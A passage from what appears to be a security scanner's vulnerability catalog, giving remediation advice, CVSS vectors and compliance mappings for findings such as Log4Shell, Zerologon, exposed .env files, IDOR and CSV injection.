Remediation: Upgrade Log4j to 2.17.1 or later. Apply JVM mitigation (log4j2.formatMsgNoLookups=true) as a temporary measure. Block outbound LDAP/RMI at the network layer.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-073 — Spring4Shell (CVE-2022-22965)
Remediation: Upgrade Spring Framework to 5.3.18+ or 5.2.20+. Upgrade Spring Boot to 2.6.6+ or 2.5.12+. Ensure JDK is 9 or higher with the fix applied.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-074 — ProxyShell – Microsoft Exchange RCE
Remediation: Apply Microsoft Cumulative Update for Exchange Server. Restrict EWS and OWA access. Audit web shells and malicious files in Exchange directories.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1190 (Initial Access), T1505.003 (Persistence)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM PHX-075 — Credential Exposure via OSINT – LinkedIn Employee Data
Remediation: Educate employees on minimal professional social media exposure. Implement phishing-resistant MFA. Monitor for use of corporate email addresses on breach databases.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.003 (Reconnaissance)
NIST 800-53: AT-2, PL-4
CRITICAL PHX-076 — Exposed .git Directory
Remediation: Block access to .git directories via web server configuration. Remove .git directories from web roots. Audit deployment pipelines to prevent future exposure.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
HIGH PHX-077 — Subdomain Takeover
Remediation: Audit DNS records for CNAME or A records pointing to decommissioned or unclaimed third-party services. Remove dangling DNS entries. Claim or delete associated cloud resources.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1584.001 (Resource Development)
NIST 800-53: CM-8, CM-6
CRITICAL PHX-078 — Exposed Environment File (.env)
Remediation: Block public access to .env and similar configuration files via web server rules. Never deploy .env files to web-accessible directories. Rotate all exposed credentials immediately.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, IA-5
PCI DSS 4: 3.4.1
HIGH PHX-079 — Broken Access Control – Horizontal Privilege Escalation
Remediation: Enforce strict ownership checks for every data access operation. Bind resources to authenticated user context. Never rely on client-supplied user IDs for authorization decisions.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 7.2.1
HIGH PHX-080 — Unencrypted Database Connection
Remediation: Enable TLS/SSL for all database connections. Enforce certificate validation. Use strong cipher suites and rotate DB credentials regularly.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
CRITICAL PHX-081 — Database Accessible from Internet
Remediation: Move database services behind a firewall or VPC. Never bind databases to 0.0.0.0 in production. Use security groups to restrict DB access to application servers only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 1.3.1
CRITICAL PHX-082 — SQL Injection – Stored Procedure Abuse
Remediation: Disable xp_cmdshell and other dangerous stored procedures. Apply least-privilege database accounts. Use parameterized queries and input validation throughout.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-083 — Insecure Cloud Storage – S3 Bucket Publicly Readable
Remediation: Set S3 bucket policies to deny public access. Enable S3 Block Public Access settings. Audit all cloud storage for publicly exposed sensitive data. Enable bucket access logging.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 3.4.1
HIGH PHX-084 — Cloud Instance Metadata Service (IMDS) Accessible
Remediation: Enforce IMDSv2 (token-required) on all EC2 instances. Block access to 169.254.169.254 at the application layer. Restrict IAM roles to minimum required permissions.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A10:2021 – Server-Side Request Forgery
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1552.005 (Credential Access)
NIST 800-53: SC-7, IA-5
PCI DSS 4: 6.2.4
MEDIUM PHX-085 — Inadequate Input Validation – HTTP Header Injection
Remediation: Validate and sanitize all data used in HTTP response headers. Strip or reject CR (\r) and LF (\n) characters from user-supplied input included in headers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-086 — Weak Password Reset Mechanism
Remediation: Generate cryptographically random, short-lived (< 15 min) one-time password reset tokens. Invalidate tokens after single use. Rate limit password reset requests.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
MEDIUM PHX-087 — Insecure Token Storage – Tokens in localStorage
Remediation: Store authentication tokens in HttpOnly cookies, not localStorage. If localStorage is unavoidable, apply strong CSP to mitigate XSS risk. Use short-lived access tokens.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SC-28
PCI DSS 4: 3.4.1
HIGH PHX-088 — Nginx Off-By-Slash Path Traversal Misconfiguration
Remediation: Ensure Nginx location and alias directives both end with a trailing slash or both lack one. Use 'nginx -T' and audit all alias configurations with a linting tool.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-6
PCI DSS 4: 6.2.4
HIGH PHX-089 — Prototype Pollution
Remediation: Sanitize user-controlled keys to reject __proto__, constructor, and prototype. Use Object.create(null) for dictionaries. Update affected libraries (lodash, jQuery).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
MEDIUM PHX-090 — Weak Encryption – DES/3DES in Use
Remediation: Replace DES and 3DES with AES-128 or AES-256. Update TLS configurations to remove 3DES cipher suites. Ensure SSH configurations exclude arcfour and DES-based ciphers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
CRITICAL PHX-091 — Heap Overflow / Buffer Overflow in Network Service
Remediation: Apply vendor security patches. Enable ASLR, DEP/NX, and stack canaries. Upgrade affected service to a patched version. Restrict network access to the vulnerable service.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1203 (Execution), T1210 (Lateral Movement)
NIST 800-53: SI-2, SA-11
PCI DSS 4: 6.3.3
CRITICAL PHX-092 — Zerologon (CVE-2020-1472)
Remediation: Apply August 2020 and February 2021 Microsoft security updates for all domain controllers. Enable enforcement mode for secure channel. Monitor for Netlogon authentication anomalies.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement), T1068 (Privilege Escalation)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-093 — PrintNightmare (CVE-2021-34527)
Remediation: Apply Microsoft patch for CVE-2021-34527. Disable Print Spooler service on non-printing hosts, especially Domain Controllers. Restrict who can install printer drivers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1547.012 (Persistence), T1068 (Privilege Escalation)
NIST 800-53: SI-2
PCI DSS 4: 6.3.3
CISA KEV
HIGH PHX-094 — API Key Exposed in JavaScript Source
Remediation: Never embed API keys or secrets in client-side JavaScript. Proxy API calls through a backend service that holds credentials securely. Rotate all exposed keys immediately.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 3.4.1
MEDIUM PHX-095 — Improper Error Handling – Stack Trace in API Response
Remediation: Return generic error responses to API clients. Log detailed errors server-side only. Use a centralized exception handler that strips sensitive information before responding.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SI-11, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-096 — Unvalidated Webhook – Spoofable Source
Remediation: Validate webhook HMAC signatures on every inbound request. Reject payloads that fail signature verification. Use a secret per webhook source and rotate it periodically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1565 (Impact)
NIST 800-53: SI-10, IA-3
PCI DSS 4: 6.2.4
MEDIUM PHX-097 — HSTS Not Enabled
Remediation: Add 'Strict-Transport-Security: max-age=31536000; includeSubDomains; preload' header to all HTTPS responses. Submit domain to HSTS preload list.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM PHX-098 — Reflected File Download (RFD)
Remediation: Set a strict Content-Disposition header for all API responses. Ensure Content-Type headers accurately reflect response content. Add X-Content-Type-Options: nosniff.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
NIST 800-53: SC-18, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-099 — Exposed Backup File
Remediation: Remove all backup, archive, and dump files from web-accessible directories. Configure web server to deny access to .bak, .sql, .tar.gz, and similar extensions.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 3.4.1
MEDIUM PHX-100 — Unsafe Redirect After Authentication
Remediation: Validate post-login redirect URLs against a server-side allowlist. Reject external or relative redirect targets. Use a state parameter in OAuth flows to prevent CSRF and redirect abuse.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: IA-5, SI-10
PCI DSS 4: 6.2.4
HIGH PHX-101 — Dependency Confusion Attack Surface
Remediation: Register all internal package names on public registries to prevent squatting. Use scoped package names. Pin package versions and use lock files. Verify package provenance in CI/CD.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1195.001 (Initial Access)
NIST 800-53: SA-12, SI-2
PCI DSS 4: 6.3.2
CRITICAL PHX-102 — IDOR – Account Takeover via Password Change
Remediation: Enforce server-side ownership validation on all account modification endpoints. Require current password confirmation before allowing password changes. Never allow user_id substitution.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, IA-5
PCI DSS 4: 7.2.1, 8.3.6
HIGH PHX-103 — Sensitive PII Exposed in API Response
Remediation: Mask or exclude sensitive PII (SSN, credit card, full DOB) from API responses. Apply field-level access control. Use data minimization principles — return only what the client needs.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API3:2023 – Broken Object Property Level Authorization
NIST 800-53: AC-3, SC-28
PCI DSS 4: 3.4.1, 3.5.1
HIGH PHX-104 — Insufficient Transport Layer Security – API Over HTTP
Remediation: Force all API traffic over HTTPS. Configure HSTS. Reject HTTP connections at the load balancer or API gateway level with a 301 redirect to HTTPS.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1, 4.2.2
MEDIUM PHX-105 — Broken Authentication – No Credential Rotation Policy
Remediation: Establish a credential rotation policy (90 days for service accounts, 30 days for API keys). Automate rotation using a secrets manager. Audit for long-lived tokens in CI/CD pipelines.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: IA-5
PCI DSS 4: 8.3.9
INFO PHX-106 — WordPress CMS Plugin Detected
Remediation: Keep all WordPress plugins updated to their latest release. Remove readme.txt files from plugin directories on production servers. Uninstall unused or unmaintained plugins to reduce attack surface.
Effort: Low
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2
PCI DSS 4: 6.3.2
LOW PHX-107 — Cookie Security Attribute Misconfiguration
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM PHX-109 — HTTP Methods: Unsafe Methods Enabled
Remediation: Disable the HTTP TRACE and TRACK methods in the web server configuration. In Apache, set 'TraceEnable Off'; in Nginx, add an explicit deny rule in the server block for TRACE requests. Verify remediation with a direct TRACE request and confirm a 405 or 501 response is returned.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1185 (Collection), T1539 (Collection)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 6.2.4, 6.5.1
LOW PHX-110 — Missing DNS CAA Record
Remediation: Add a DNS CAA record for the domain restricting certificate issuance to your approved CAs. Include an iodef entry to receive notifications of unauthorised issuance attempts. Propagate the record to all DNS zones including subdomains that have independent certificate requirements.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1588.004 (Resource Development)
NIST 800-53: SC-20, SC-23
PCI DSS 4: 4.2.1
HIGH PHX-111 — DNS Zone Transfer Permitted (AXFR)
Remediation: Restrict AXFR zone transfers to explicitly authorised secondary name servers only using ACLs in your DNS server configuration. In BIND9, use the 'allow-transfer' directive with specific secondary IP addresses. Verify by attempting an AXFR query from an unauthorised host and confirming a REFUSED response.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1590.002 (Reconnaissance), T1018 (Discovery)
NIST 800-53: SC-20, CM-7, AC-3
PCI DSS 4: 1.3.2, 6.5.1
MEDIUM PHX-112 — CRLF Injection
Remediation: Strip or encode carriage return (\r, %0d) and line feed (\n, %0a) characters from all user-supplied data before it is written into HTTP response headers. Use framework-provided header APIs rather than manual string construction. Apply input validation as a secondary layer.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1539 (Collection)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4, 6.5.1
MEDIUM PHX-113 — CSV / Formula Injection
Remediation: Sanitise all data included in CSV exports by prepending a single quote to cells beginning with =, +, -, @, |, or tab characters. Enclose all fields in double quotes and escape embedded quotes. Apply this sanitisation at the export layer regardless of where the data originated.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1059 (Execution), T1566.002 (Initial Access)
NIST 800-53: SI-10, SI-7
PCI DSS 4: 6.2.4
MEDIUM PHX-114 — Log Injection
Remediation: Sanitise all user-supplied values written to application logs by stripping or encoding newline characters. Adopt structured logging (JSON or key-value format) which is inherently resistant to log injection. Ensure log integrity monitoring detects unexpected formatting anomalies.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 – Security Logging and Monitoring Failures
MITRE ATT&CK: T1562.006 (Defense Evasion), T1070 (Defense Evasion)
NIST 800-53: AU-9, SI-10, AU-12
PCI DSS 4: 10.3.1, 6.2.4
MEDIUM PHX-115 — JSONP Endpoint Cross-Origin Data Leakage
Remediation: Replace JSONP endpoints with CORS-enabled JSON APIs using restrictive Access-Control-Allow-Origin policies. If JSONP must be retained, validate the callback parameter strictly against an alphanumeric whitelist and ensure no sensitive or authenticated data is returned via JSONP.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1185 (Collection), T1530 (Collection)
NIST 800-53: AC-4, SC-8
PCI DSS 4: 6.4.1, 6.5.1
CRITICAL PHX-116 — Remote Code Execution via Code Injection
Remediation: Immediately eliminate all use of dynamic code evaluation functions (eval, exec, and language equivalents) on user-supplied input. Refactor the affected functionality to use safe, static alternatives. Apply WAF rules as a temporary mitigating control while code changes are deployed.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution), T1499 (Impact)
NIST 800-53: SI-10, AC-3, CM-7
PCI DSS 4: 6.2.4, 6.5.1
INFO PHX-117 — Password Reset Endpoint Exposed
Remediation: Ensure the password reset flow uses CSPRNG-generated single-use tokens of at least 128 bits entropy with a short expiry (15–30 minutes). Enforce rate limiting, invalidate tokens immediately upon use, and avoid username enumeration through differential responses.
Effort: Moderate
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access), T1110 (Credential Access)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 8.3.6
MEDIUM PHX-118 — JWT Missing Expiry Claim
Remediation: Include an 'exp' claim in all issued JWTs with an appropriate short lifetime (e.g., 15 minutes for access tokens). Implement refresh token rotation to allow session continuation without long-lived access tokens. Validate the exp claim on every request server-side and reject expired tokens.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1539 (Collection)
NIST 800-53: IA-5, SC-23, AC-12
PCI DSS 4: 8.2.4, 8.3.9
MEDIUM PHX-119 — Timing Attack – Non-Constant-Time Authentication
Remediation: Replace all security-sensitive string comparisons with constant-time equivalents (e.g., hmac.compare_digest() in Python, crypto.timingSafeEqual() in Node.js). This applies to password verification, token comparison, HMAC validation, and any other authentication comparison. Never use == or === operators for secret comparison.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1522 (Credential Access)
NIST 800-53: IA-3, SC-8
PCI DSS 4: 8.3.1
HIGH PHX-120 — Weak or Predictable Session Token
Remediation: Generate all session tokens using a CSPRNG with at least 128 bits of entropy. Tokens must be statistically independent, uniformly distributed, and free of any derivation from predictable values such as timestamps, user IDs, or sequential counters. Use framework-provided session management rather than custom implementations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1110.001 (Credential Access)
NIST 800-53: IA-5, SC-23
PCI DSS 4: 8.2.1, 8.3.6
LOW PHX-121 — Debug / Diagnostic Header Data Leakage
Remediation: Remove all debug, trace, and internal diagnostic headers from production HTTP responses. Configure reverse proxies to strip headers added by backend services before returning responses to clients. Maintain a header whitelist for production environments.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.5.1
HIGH PHX-122 — Exposed Metrics or Actuator Endpoint
Remediation: Restrict access to all metrics, health-check, and actuator endpoints using IP allowlisting or authentication. Disable sensitive endpoints that are not required in production (e.g., Spring Boot /actuator/env, /actuator/heapdump). Ensure no credentials, internal hostnames, or configuration data is exposed in metric output.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1592.002 (Reconnaissance), T1552.001 (Credential Access)
NIST 800-53: CM-7, AC-3, SI-12
PCI DSS 4: 6.5.1, 1.3.2
MEDIUM PHX-123 — Sensitive Information in Page Source
Remediation: Remove all developer comments, internal URLs, environment references, and configuration hints from production HTML and JavaScript. Implement a build pipeline step to strip comments from production assets. Conduct regular automated scanning of page sources for sensitive pattern matches.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance), T1083 (Discovery)
NIST 800-53: SI-12, CM-7
PCI DSS 4: 6.5.1
HIGH PHX-124 — API Returns Same Data for All Users (Missing Object-Level Auth)
Remediation: Implement per-user data scoping on all API endpoints by verifying that the authenticated user has ownership or explicit permission for each returned object. Enforce object-level authorisation checks in a centralised layer and test all endpoints across multiple user accounts to confirm isolation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1530 (Collection), T1213 (Collection)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 7.2.1
HIGH PHX-125 — Unauthenticated Access to Protected Path
Remediation: Implement server-side authentication enforcement on every protected route via a centralised middleware or decorator pattern. Ensure the check cannot be bypassed through client-side manipulation, request parameter modification, or direct URL access. Test all protected paths in an explicitly unauthenticated state as part of the QA process.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1190 (Initial Access), T1078 (Initial Access)
NIST 800-53: AC-3, AC-2
PCI DSS 4: 7.2.1, 8.2.1
CRITICAL PHX-126 — WordPress wp-config.php Exposed
Remediation: Immediately rotate all credentials in wp-config.php (database password, secret keys, salts). Move wp-config.php one directory level above the web root, or configure the web server to deny HTTP access to it. Remove any backup copies (.bak, .old, ~) from the web root.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access), T1190 (Initial Access)
NIST 800-53: CM-6, AC-3, IA-5
PCI DSS 4: 6.5.1, 8.3.2
MEDIUM PHX-127 — WordPress Administrative / Sensitive Path Exposed
Remediation: Restrict access to WordPress administrative, installation, and cron scripts via web server ACLs. Disable the built-in WP-Cron and replace with a real system cron job. Apply WordPress hardening guidelines and block direct HTTP access to sensitive PHP files not intended for public use.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1499 (Impact)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 6.5.1
MEDIUM PHX-128 — WordPress Information Disclosure
Remediation: Disable directory listing on all WordPress directories, suppress plugin and theme version parameters from enqueued assets, and restrict the REST API user endpoint. For Multisite installations, apply network-level hardening and restrict super-admin access. Keep all components updated and remove unused plugins and themes.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
HIGH PHX-129 — WordPress Backup/Export File Exposed
Remediation: Immediately remove all backup, export, and archive files from the web root. Configure backup plugins to store exports outside the document root or require authentication for download. Add web server rules blocking access to common backup extensions (.sql, .bak, .tar.gz, .zip) within WordPress directories.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access), T1530 (Collection)
NIST 800-53: CM-6, AC-3, SC-28
PCI DSS 4: 6.5.1, 3.3.1
HIGH PHX-130 — TimThumb Script Detected
Remediation: Remove TimThumb from all themes and plugins and replace with a maintained image processing alternative. If removal is not immediately possible, update to version 2.8.14 or later and restrict the ALLOWED_SITES whitelist. Scan the server for webshells that may have been uploaded via prior TimThumb exploitation.
Effort: Moderate
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access), T1505.003 (Persistence)
NIST 800-53: SI-2, CM-6
PCI DSS 4: 6.3.3, 6.5.1
INFO PHX-131 — Recon: Application Form / Login Page Identified
